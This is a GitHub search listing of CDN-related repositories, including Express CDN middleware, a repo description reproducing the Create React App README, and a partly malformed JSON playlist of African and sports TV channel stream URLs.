Found 136 repositories(showing 30)
PixelsCommander
Express.JS middleware to enable P2P distribution for your app. Your decentralized CDN made easy.
ladjs
:cloud: Node module for delivering optimized, minified, mangled, gzipped assets with Express and Amazon's CDN (S3/CloudFront)
rramatchandran
# big-o-performance A simple html app to demonstrate performance costs of data structures. - Clone the project - Navigate to the root of the project in a termina or command prompt - Run 'npm install' - Run 'npm start' - Go to the URL specified in the terminal or command prompt to try out the app. # This app was created from the Create React App NPM. Below are instructions from that project. Below you will find some information on how to perform common tasks. You can find the most recent version of this guide [here](https://github.com/facebookincubator/create-react-app/blob/master/template/README.md). ## Table of Contents - [Updating to New Releases](#updating-to-new-releases) - [Sending Feedback](#sending-feedback) - [Folder Structure](#folder-structure) - [Available Scripts](#available-scripts) - [npm start](#npm-start) - [npm run build](#npm-run-build) - [npm run eject](#npm-run-eject) - [Displaying Lint Output in the Editor](#displaying-lint-output-in-the-editor) - [Installing a Dependency](#installing-a-dependency) - [Importing a Component](#importing-a-component) - [Adding a Stylesheet](#adding-a-stylesheet) - [Post-Processing CSS](#post-processing-css) - [Adding Images and Fonts](#adding-images-and-fonts) - [Adding Bootstrap](#adding-bootstrap) - [Adding Flow](#adding-flow) - [Adding Custom Environment Variables](#adding-custom-environment-variables) - [Integrating with a Node Backend](#integrating-with-a-node-backend) - [Proxying API Requests in Development](#proxying-api-requests-in-development) - [Deployment](#deployment) - [Now](#now) - [Heroku](#heroku) - [Surge](#surge) - [GitHub Pages](#github-pages) - [Something Missing?](#something-missing) ## Updating to New Releases Create React App is divided into two packages: * `create-react-app` is a global command-line utility that you use to create new projects. * `react-scripts` is a development dependency in the generated projects (including this one). You almost never need to update `create-react-app` itself: it’s delegates all the setup to `react-scripts`. When you run `create-react-app`, it always creates the project with the latest version of `react-scripts` so you’ll get all the new features and improvements in newly created apps automatically. To update an existing project to a new version of `react-scripts`, [open the changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md), find the version you’re currently on (check `package.json` in this folder if you’re not sure), and apply the migration instructions for the newer versions. In most cases bumping the `react-scripts` version in `package.json` and running `npm install` in this folder should be enough, but it’s good to consult the [changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md) for potential breaking changes. We commit to keeping the breaking changes minimal so you can upgrade `react-scripts` painlessly. ## Sending Feedback We are always open to [your feedback](https://github.com/facebookincubator/create-react-app/issues). ## Folder Structure After creation, your project should look like this: ``` my-app/ README.md index.html favicon.ico node_modules/ package.json src/ App.css App.js index.css index.js logo.svg ``` For the project to build, **these files must exist with exact filenames**: * `index.html` is the page template; * `favicon.ico` is the icon you see in the browser tab; * `src/index.js` is the JavaScript entry point. You can delete or rename the other files. You may create subdirectories inside `src`. For faster rebuilds, only files inside `src` are processed by Webpack. You need to **put any JS and CSS files inside `src`**, or Webpack won’t see them. You can, however, create more top-level directories. They will not be included in the production build so you can use them for things like documentation. ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Displaying Lint Output in the Editor >Note: this feature is available with `react-scripts@0.2.0` and higher. Some editors, including Sublime Text, Atom, and Visual Studio Code, provide plugins for ESLint. They are not required for linting. You should see the linter output right in your terminal as well as the browser console. However, if you prefer the lint results to appear right in your editor, there are some extra steps you can do. You would need to install an ESLint plugin for your editor first. >**A note for Atom `linter-eslint` users** >If you are using the Atom `linter-eslint` plugin, make sure that **Use global ESLint installation** option is checked: ><img src="http://i.imgur.com/yVNNHJM.png" width="300"> Then make sure `package.json` of your project ends with this block: ```js { // ... "eslintConfig": { "extends": "./node_modules/react-scripts/config/eslint.js" } } ``` Projects generated with `react-scripts@0.2.0` and higher should already have it. If you don’t need ESLint integration with your editor, you can safely delete those three lines from your `package.json`. Finally, you will need to install some packages *globally*: ```sh npm install -g eslint babel-eslint eslint-plugin-react eslint-plugin-import eslint-plugin-jsx-a11y eslint-plugin-flowtype ``` We recognize that this is suboptimal, but it is currently required due to the way we hide the ESLint dependency. The ESLint team is already [working on a solution to this](https://github.com/eslint/eslint/issues/3458) so this may become unnecessary in a couple of months. ## Installing a Dependency The generated project includes React and ReactDOM as dependencies. It also includes a set of scripts used by Create React App as a development dependency. You may install other dependencies (for example, React Router) with `npm`: ``` npm install --save <library-name> ``` ## Importing a Component This project setup supports ES6 modules thanks to Babel. While you can still use `require()` and `module.exports`, we encourage you to use [`import` and `export`](http://exploringjs.com/es6/ch_modules.html) instead. For example: ### `Button.js` ```js import React, { Component } from 'react'; class Button extends Component { render() { // ... } } export default Button; // Don’t forget to use export default! ``` ### `DangerButton.js` ```js import React, { Component } from 'react'; import Button from './Button'; // Import a component from another file class DangerButton extends Component { render() { return <Button color="red" />; } } export default DangerButton; ``` Be aware of the [difference between default and named exports](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281). It is a common source of mistakes. We suggest that you stick to using default imports and exports when a module only exports a single thing (for example, a component). That’s what you get when you use `export default Button` and `import Button from './Button'`. Named exports are useful for utility modules that export several functions. A module may have at most one default export and as many named exports as you like. Learn more about ES6 modules: * [When to use the curly braces?](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281) * [Exploring ES6: Modules](http://exploringjs.com/es6/ch_modules.html) * [Understanding ES6: Modules](https://leanpub.com/understandinges6/read#leanpub-auto-encapsulating-code-with-modules) ## Adding a Stylesheet This project setup uses [Webpack](https://webpack.github.io/) for handling all assets. Webpack offers a custom way of “extending” the concept of `import` beyond JavaScript. To express that a JavaScript file depends on a CSS file, you need to **import the CSS from the JavaScript file**: ### `Button.css` ```css .Button { padding: 20px; } ``` ### `Button.js` ```js import React, { Component } from 'react'; import './Button.css'; // Tell Webpack that Button.js uses these styles class Button extends Component { render() { // You can use them as regular CSS styles return <div className="Button" />; } } ``` **This is not required for React** but many people find this feature convenient. You can read about the benefits of this approach [here](https://medium.com/seek-ui-engineering/block-element-modifying-your-javascript-components-d7f99fcab52b). However you should be aware that this makes your code less portable to other build tools and environments than Webpack. In development, expressing dependencies this way allows your styles to be reloaded on the fly as you edit them. In production, all CSS files will be concatenated into a single minified `.css` file in the build output. If you are concerned about using Webpack-specific semantics, you can put all your CSS right into `src/index.css`. It would still be imported from `src/index.js`, but you could always remove that import if you later migrate to a different build tool. ## Post-Processing CSS This project setup minifies your CSS and adds vendor prefixes to it automatically through [Autoprefixer](https://github.com/postcss/autoprefixer) so you don’t need to worry about it. For example, this: ```css .App { display: flex; flex-direction: row; align-items: center; } ``` becomes this: ```css .App { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } ``` There is currently no support for preprocessors such as Less, or for sharing variables across CSS files. ## Adding Images and Fonts With Webpack, using static assets like images and fonts works similarly to CSS. You can **`import` an image right in a JavaScript module**. This tells Webpack to include that image in the bundle. Unlike CSS imports, importing an image or a font gives you a string value. This value is the final image path you can reference in your code. Here is an example: ```js import React from 'react'; import logo from './logo.png'; // Tell Webpack this JS file uses this image console.log(logo); // /logo.84287d09.png function Header() { // Import result is the URL of your image return <img src={logo} alt="Logo" />; } export default function Header; ``` This works in CSS too: ```css .Logo { background-image: url(./logo.png); } ``` Webpack finds all relative module references in CSS (they start with `./`) and replaces them with the final paths from the compiled bundle. If you make a typo or accidentally delete an important file, you will see a compilation error, just like when you import a non-existent JavaScript module. The final filenames in the compiled bundle are generated by Webpack from content hashes. If the file content changes in the future, Webpack will give it a different name in production so you don’t need to worry about long-term caching of assets. Please be advised that this is also a custom feature of Webpack. **It is not required for React** but many people enjoy it (and React Native uses a similar mechanism for images). However it may not be portable to some other environments, such as Node.js and Browserify. If you prefer to reference static assets in a more traditional way outside the module system, please let us know [in this issue](https://github.com/facebookincubator/create-react-app/issues/28), and we will consider support for this. ## Adding Bootstrap You don’t have to use [React Bootstrap](https://react-bootstrap.github.io) together with React but it is a popular library for integrating Bootstrap with React apps. If you need it, you can integrate it with Create React App by following these steps: Install React Bootstrap and Bootstrap from NPM. React Bootstrap does not include Bootstrap CSS so this needs to be installed as well: ``` npm install react-bootstrap --save npm install bootstrap@3 --save ``` Import Bootstrap CSS and optionally Bootstrap theme CSS in the ```src/index.js``` file: ```js import 'bootstrap/dist/css/bootstrap.css'; import 'bootstrap/dist/css/bootstrap-theme.css'; ``` Import required React Bootstrap components within ```src/App.js``` file or your custom component files: ```js import { Navbar, Jumbotron, Button } from 'react-bootstrap'; ``` Now you are ready to use the imported React Bootstrap components within your component hierarchy defined in the render method. Here is an example [`App.js`](https://gist.githubusercontent.com/gaearon/85d8c067f6af1e56277c82d19fd4da7b/raw/6158dd991b67284e9fc8d70b9d973efe87659d72/App.js) redone using React Bootstrap. ## Adding Flow Flow typing is currently [not supported out of the box](https://github.com/facebookincubator/create-react-app/issues/72) with the default `.flowconfig` generated by Flow. If you run it, you might get errors like this: ```js node_modules/fbjs/lib/Deferred.js.flow:60 60: Promise.prototype.done.apply(this._promise, arguments); ^^^^ property `done`. Property not found in 495: declare class Promise<+R> { ^ Promise. See lib: /private/tmp/flow/flowlib_34952d31/core.js:495 node_modules/fbjs/lib/shallowEqual.js.flow:29 29: return x !== 0 || 1 / (x: $FlowIssue) === 1 / (y: $FlowIssue); ^^^^^^^^^^ identifier `$FlowIssue`. Could not resolve name src/App.js:3 3: import logo from './logo.svg'; ^^^^^^^^^^^^ ./logo.svg. Required module not found src/App.js:4 4: import './App.css'; ^^^^^^^^^^^ ./App.css. Required module not found src/index.js:5 5: import './index.css'; ^^^^^^^^^^^^^ ./index.css. Required module not found ``` To fix this, change your `.flowconfig` to look like this: ```ini [libs] ./node_modules/fbjs/flow/lib [options] esproposal.class_static_fields=enable esproposal.class_instance_fields=enable module.name_mapper='^\(.*\)\.css$' -> 'react-scripts/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> 'react-scripts/config/flow/file' suppress_type=$FlowIssue suppress_type=$FlowFixMe ``` Re-run flow, and you shouldn’t get any extra issues. If you later `eject`, you’ll need to replace `react-scripts` references with the `<PROJECT_ROOT>` placeholder, for example: ```ini module.name_mapper='^\(.*\)\.css$' -> '<PROJECT_ROOT>/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> '<PROJECT_ROOT>/config/flow/file' ``` We will consider integrating more tightly with Flow in the future so that you don’t have to do this. ## Adding Custom Environment Variables >Note: this feature is available with `react-scripts@0.2.3` and higher. Your project can consume variables declared in your environment as if they were declared locally in your JS files. By default you will have `NODE_ENV` defined for you, and any other environment variables starting with `REACT_APP_`. These environment variables will be defined for you on `process.env`. For example, having an environment variable named `REACT_APP_SECRET_CODE` will be exposed in your JS as `process.env.REACT_APP_SECRET_CODE`, in addition to `process.env.NODE_ENV`. These environment variables can be useful for displaying information conditionally based on where the project is deployed or consuming sensitive data that lives outside of version control. First, you need to have environment variables defined, which can vary between OSes. For example, let's say you wanted to consume a secret defined in the environment inside a `<form>`: ```jsx render() { return ( <div> <small>You are running this application in <b>{process.env.NODE_ENV}</b> mode.</small> <form> <input type="hidden" defaultValue={process.env.REACT_APP_SECRET_CODE} /> </form> </div> ); } ``` The above form is looking for a variable called `REACT_APP_SECRET_CODE` from the environment. In order to consume this value, we need to have it defined in the environment: ### Windows (cmd.exe) ```cmd set REACT_APP_SECRET_CODE=abcdef&&npm start ``` (Note: the lack of whitespace is intentional.) ### Linux, OS X (Bash) ```bash REACT_APP_SECRET_CODE=abcdef npm start ``` > Note: Defining environment variables in this manner is temporary for the life of the shell session. Setting permanent environment variables is outside the scope of these docs. With our environment variable defined, we start the app and consume the values. Remember that the `NODE_ENV` variable will be set for you automatically. When you load the app in the browser and inspect the `<input>`, you will see its value set to `abcdef`, and the bold text will show the environment provided when using `npm start`: ```html <div> <small>You are running this application in <b>development</b> mode.</small> <form> <input type="hidden" value="abcdef" /> </form> </div> ``` Having access to the `NODE_ENV` is also useful for performing actions conditionally: ```js if (process.env.NODE_ENV !== 'production') { analytics.disable(); } ``` ## Integrating with a Node Backend Check out [this tutorial](https://www.fullstackreact.com/articles/using-create-react-app-with-a-server/) for instructions on integrating an app with a Node backend running on another port, and using `fetch()` to access it. You can find the companion GitHub repository [here](https://github.com/fullstackreact/food-lookup-demo). ## Proxying API Requests in Development >Note: this feature is available with `react-scripts@0.2.3` and higher. People often serve the front-end React app from the same host and port as their backend implementation. For example, a production setup might look like this after the app is deployed: ``` / - static server returns index.html with React app /todos - static server returns index.html with React app /api/todos - server handles any /api/* requests using the backend implementation ``` Such setup is **not** required. However, if you **do** have a setup like this, it is convenient to write requests like `fetch('/api/todos')` without worrying about redirecting them to another host or port during development. To tell the development server to proxy any unknown requests to your API server in development, add a `proxy` field to your `package.json`, for example: ```js "proxy": "http://localhost:4000", ``` This way, when you `fetch('/api/todos')` in development, the development server will recognize that it’s not a static asset, and will proxy your request to `http://localhost:4000/api/todos` as a fallback. Conveniently, this avoids [CORS issues](http://stackoverflow.com/questions/21854516/understanding-ajax-cors-and-security-considerations) and error messages like this in development: ``` Fetch API cannot load http://localhost:4000/api/todos. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. ``` Keep in mind that `proxy` only has effect in development (with `npm start`), and it is up to you to ensure that URLs like `/api/todos` point to the right thing in production. You don’t have to use the `/api` prefix. Any unrecognized request will be redirected to the specified `proxy`. Currently the `proxy` option only handles HTTP requests, and it won’t proxy WebSocket connections. If the `proxy` option is **not** flexible enough for you, alternatively you can: * Enable CORS on your server ([here’s how to do it for Express](http://enable-cors.org/server_expressjs.html)). * Use [environment variables](#adding-custom-environment-variables) to inject the right server host and port into your app. ## Deployment By default, Create React App produces a build assuming your app is hosted at the server root. To override this, specify the `homepage` in your `package.json`, for example: ```js "homepage": "http://mywebsite.com/relativepath", ``` This will let Create React App correctly infer the root path to use in the generated HTML file. ### Now See [this example](https://github.com/xkawi/create-react-app-now) for a zero-configuration single-command deployment with [now](https://zeit.co/now). ### Heroku Use the [Heroku Buildpack for Create React App](https://github.com/mars/create-react-app-buildpack). You can find instructions in [Deploying React with Zero Configuration](https://blog.heroku.com/deploying-react-with-zero-configuration). ### Surge Install the Surge CLI if you haven't already by running `npm install -g surge`. Run the `surge` command and log in you or create a new account. You just need to specify the *build* folder and your custom domain, and you are done. ```sh email: email@domain.com password: ******** project path: /path/to/project/build size: 7 files, 1.8 MB domain: create-react-app.surge.sh upload: [====================] 100%, eta: 0.0s propagate on CDN: [====================] 100% plan: Free users: email@domain.com IP Address: X.X.X.X Success! Project is published and running at create-react-app.surge.sh ``` Note that in order to support routers that use html5 `pushState` API, you may want to rename the `index.html` in your build folder to `200.html` before deploying to Surge. This [ensures that every URL falls back to that file](https://surge.sh/help/adding-a-200-page-for-client-side-routing). ### GitHub Pages >Note: this feature is available with `react-scripts@0.2.0` and higher. Open your `package.json` and add a `homepage` field: ```js "homepage": "http://myusername.github.io/my-app", ``` **The above step is important!** Create React App uses the `homepage` field to determine the root URL in the built HTML file. Now, whenever you run `npm run build`, you will see a cheat sheet with a sequence of commands to deploy to GitHub pages: ```sh git commit -am "Save local changes" git checkout -B gh-pages git add -f build git commit -am "Rebuild website" git filter-branch -f --prune-empty --subdirectory-filter build git push -f origin gh-pages git checkout - ``` You may copy and paste them, or put them into a custom shell script. You may also customize them for another hosting provider. Note that GitHub Pages doesn't support routers that use the HTML5 `pushState` history API under the hood (for example, React Router using `browserHistory`). This is because when there is a fresh page load for a url like `http://user.github.io/todomvc/todos/42`, where `/todos/42` is a frontend route, the GitHub Pages server returns 404 because it knows nothing of `/todos/42`. If you want to add a router to a project hosted on GitHub Pages, here are a couple of solutions: * You could switch from using HTML5 history API to routing with hashes. If you use React Router, you can switch to `hashHistory` for this effect, but the URL will be longer and more verbose (for example, `http://user.github.io/todomvc/#/todos/42?_k=yknaj`). [Read more](https://github.com/reactjs/react-router/blob/master/docs/guides/Histories.md#histories) about different history implementations in React Router. * Alternatively, you can use a trick to teach GitHub Pages to handle 404 by redirecting to your `index.html` page with a special redirect parameter. You would need to add a `404.html` file with the redirection code to the `build` folder before deploying your project, and you’ll need to add code handling the redirect parameter to `index.html`. You can find a detailed explanation of this technique [in this guide](https://github.com/rafrex/spa-github-pages). ## Something Missing? If you have ideas for more “How To” recipes that should be on this page, [let us know](https://github.com/facebookincubator/create-react-app/issues) or [contribute some!](https://github.com/facebookincubator/create-react-app/edit/master/template/README.md)
WebReflection
A µcompress based CDN utility, compatible with both Express and native http module
bermufine
{"categories":[{"name":"Movies","videos":[{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. Elle a pris son nom actuel le 17 mai 1997, à la suite de l'arrivée au pouvoir d'AFDL, le parti de Laurent-Désiré Kabila.","sources":["http://178.33.237.146/rtnc1.m3u8"],"subtitle":"By Radio Télévision Nationale Congolaise","thumb":"https://od.lk/s/M18yNDU0Njk2MjZf/RTNC.jpegg","title":"RTNC"},{"description":"Tele Congo est une chaine nationale du congo brazza en diffusant des emissions, informations, sports, theatres, musique et autres....","sources":["https://stream.mmsiptv.com/droid/rtnc/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODYwMjFf/telecongo.jpg","title":"TELE CONGO TV / BRAZZAVILLE"},{"description":"Bein Sports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MzBf/beinone.png","title":"BEIN SPORT 1 / SPORTS"},{"description":"Bein Sport 2 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MThf/beintwo.png","title":"BEIN SPORT 2 / SPORTS"},{"description":"Bein Sport 3 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MDZf/beintree.png","title":"BEIN SPORTS 3 / SPORTS"},{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. Elle a pris son nom actuel le 17 mai 1997, à la suite de l'arrivée au pouvoir d'AFDL, le parti de Laurent-Désiré Kabila.","sources":["https://stream.mmsiptv.com/droid/rtnc/playlist.m3u8"],"subtitle":"By Radio Télévision Nationale Congolaise","https://od.lk/s/M18yNDU0Nzc4NDZf/rtnc3.png","title":"RTNC 1 / RDC (lien2)"},{"description":"Canal Plus Sports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/cpsport/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODczMzhf/canalsport.png","title":"CANAL + 1 / SPORTS"},{"description":"Canal Plus Sports 2 est une chaine televisee sportives.","sources":["https://stream.mmsiptv.com/droid/cplus/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODczMzlf/canalsporttwoo.jpg","title":"CANAL + 2 / SPORTS"},{"description":"RMC 1 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2MjBf/rmcone.png","title":"RMC 1 / SPORTS"},{"description":"RMC 2 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2MzVf/rmctwo.png","title":"RMC 2 / SPORTS"},{"description":"RMC 3 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2NDVf/rmctree.png","title":"RMC 3 / SPORTS"},{"description":"RMC 4 est une chaine televisee sportuive","sources":["https://stream.mmsiptv.com/droid/rmc4/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODc2NTFf/rmcfour.png","title":"RMC 4 / SPORTS"},{"description":"EuroSports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/eurosport2/playlist.m3u"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxOTlf/eurone.png","title":"EUROSPORTS 1 / SPORTS"},{"description":"EuroSports 2 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/eurosport1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxNTdf/eurotwo.jpg","title":"EUROSPORTS 2 / SPORTS"},{"description":"EuroSports 3 est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/eurosport1.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODgxODJf/eurotree.jpg","title":"EUROSPORTS 3 / SPORTS"},{"description":"EuroSports 4 est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/es-eurosport2.stream/playlist.m3u8"],"subtitle":"By Channel","https://od.lk/s/M18yNTkxODgxMzJf/eurofour.png","title":"EUROSPORTS 4 / SPORTS"},{"description":"L'Equipe est une chaine televisee sportives emettant en France","sources":["https://stream.mmsiptv.com/droid/equipe/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg0ODhf/equipe.png","title":"L'EQUIPE TV / SPORTS"},{"description":"Sky Sport est une chaine televisee sportives","sources":["http://stream.tvtap.live:8081/live/skysports-premier-league.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg2MjNf/skysport.jpg","title":"SKY SPORTS / SPORTS"},{"description":"Azam Sports 1 Tanzanie est l'une des chaines privées que l'on retrouve en tanzanie, possédant des émissions Sportives variées","sources":["https://1446000130.rsc.cdn77.org/1446000130/index.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1NzQwMjJf/azam.jpg","title":"AZAM SPORTS / TANZANIA"},{"description":"ADSPORTS 1 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn1.cdn.mangomolo.com/adsports1/smil:adsports1.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg4OTlf/adone.jpg","title":"ADSPORTS 1 / SPORTS"},{"description":"ADSPORTS 2 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn5.cdn.mangomolo.com/adsports2/smil:adsports2.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg5MjFf/adtwo.jpg","title":"ADSPORTS 2 / SPORTS"},{"description":"ADSPORTS 3 est une chaine televisee sportives emettant a Dubai","sources":["http://admdn3.cdn.mangomolo.com/adsports3/smil:adsports3.stream.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODg5NTBf/adtree.jpg","title":"ADSPORTS 3 / SPORTS"},{"description":"MAV TV est une chaine televisee sportives emettant a Dubai","sources":["https://mavtv-mavtvglobal-1-gb.samsung.wurl.com/manifest/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODkzNTZf/mavtv.png","title":"MAV TV / SPORTS"},{"description":"NollyWood TV est une chaine televisee qui diffuse que des film et series Africains surtout beaucoup plus nigerians","sources":["https://stream.mmsiptv.com/droid/nollywoodfr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODk3MDhf/nollywood.jpg","title":"NOLLYWOOD TV / NOVELAS"},{"description":"AfricaWood TV est une chaine televisee qui diffuse que des film et series Africains surtout beaucoup plus nigerians","sources":["https://stream.mmsiptv.com/droid/africawood/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1Nzc2ODJf/vision4.jpg","title":"AFRICAWOOD TV / NOVELAS"},{"description":"NOVELAS TV 1 est une chaine televisee qui diffuse que des series mexicaines, bresiliens, phillipinesn et autres....","sources":["https://stream.mmsiptv.com/droid/novelas/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxOTAwMDFf/novelasone.jpg","title":"NOVELAS TV 1 / SERIE"},{"description":"RTI 2 est une chaine televisee ivoiriens qui diffuse que des informations, musiques, series mexicaines, bresiliens, phillipinesn et autres....","sources":["https://stream.mmsiptv.com/droid/rti2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4NDdf/rtid.jpg","title":"RTI 2 / COTE D'IVOIRE"},{"description":"NOVELAS TV est la chaine qui diffuset des Series Mexicaines, Philipiennes et Bresiliennes....","sources":["https://stormcast-telenovelatv-1-fr.samsung.wurl.com/manifest/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjA4MDVf/novelastv.jpg","title":"NOVELAS TV{"description":"NW INFOS est la chaine du togo en diffusant des Informations Emissions et autres....","sources":["https://hls.newworldtv.com/nw-info/video/live_1024x576.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY0NzNf/nwInfos.jpg","title":"NW INFOS TV / TOGO"},{"description":"NW Muzik est la chaine du togo en diffusant des musiques Africaine et autres....","sources":["https://hls.newworldtv.com/nw-muzik/video/live_1024x576.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY0NTZf/nwMuzik.webp","title":"NW MUZIK TV / TOGO"},{"description":"Al Hadath est la chaine du Lybie en diffusant des Emissions ainsi que des infos, musique et autres....","sources":["https://master.starmena-cloud.com/hls/hd.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjcxNDBf/alhad.png","title":"AL HADATH TV / LYBIE"},{"description":"Vox Of Africa est la chaine des americains qui emette a Brazzaville en diffusant des informations et autres....","sources":["https://voa-lh.akamaihd.net/i/voa_mpls_tvmc3_3@320295/master.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTQyMjY1NDFf/VOX_AFRICA.jpg","title":"VOX OF AFRICA TV"},{"description":"Resurrection TV est l'une des chaines privées Chretienne que l'on retrouve dans la ville d'ACCRA, possédant des émissions variées","sources":["http://rtmp.ottdemo.rrsat.com/rrsatrtv1/rrsatrtvmulti.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNDg1NzczODRf/mychannel.jpg","title":"RESURRECTION TV / GHANA"},{"description":"CDIRECT TV est la chaîne une chaîne généraliste présente une vitrine positive du Congo, conçoit des programmes inédits et innovants qui s'adressent aux congolais résidents, la diaspora congolaise, ainsi qu'à l'ensemble des africains francophones à travers le monde entier. Sa ligne éditoriale est axée sur les deux Congo décomplexé, un Congo qui va de l'avant et gagne !.","sources":["http://cms-streamaniak.top/Cdirect/CDIRECT/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdirect.tv/assets/img/logo-cdirect.ico","title":"CDIRECT TV / Kinshasa-Brazzaville"},{"description":"DBM TV ou digital black Music est une Chaîne TV à thématique musicale, DBM a pour vocation de révéler et promouvoir la musique Afro Urbaine, qu’elle soit d’Afrique ou d’ailleurs info@dbm-tv.com. .","sources":["https://dbmtv.vedge.infomaniak.com/livecast/smil:dbmtv.smil/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://www.dbm-tv.fr/wp-content/uploads/2017/12/logo-dbm.png","title":"DBM TV / Music "},{"description":"La LUMIÈRE, ministère Chrétien pour annoncer l’évangile de Jésus Christ partout dans le monde, toucher changer et sauver des vies par la puissance de la parole de DIEU avec des enseignements prédications adorations louanges partages de prières, d’exhortations et de témoignages","sources":["https://video1.getstreamhosting.com:1936/8248/8248/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.shortpixel.ai/client/q_glossy,ret_img,w_124,h_124/https://telepack.net/wp-content/uploads/2020/05/lumiere-tv.png","title":"La Lumiere TV / Gospel"},{"description":"La Télévision Togolaise (TVT) est le nom de l'unique chaîne de télévision publique togolaise, Crée depuis 1979.","sources":["http://54.38.92.12/tvt.m3u8"],"subtitle":"By Google","thumb":"https://amp.live-tv-channels.org/pt-data/uploads/logo/tg-tv.jpg","title":"Télévision Togolais"},{"description":"CRTV est un service de radio et de télévision contrôlé par le gouvernement au Cameroun. Cela a commencé sous le nom de Cameroon Television (CTV) et a ensuite fusionné avec le service de radio pour devenir CRTV. 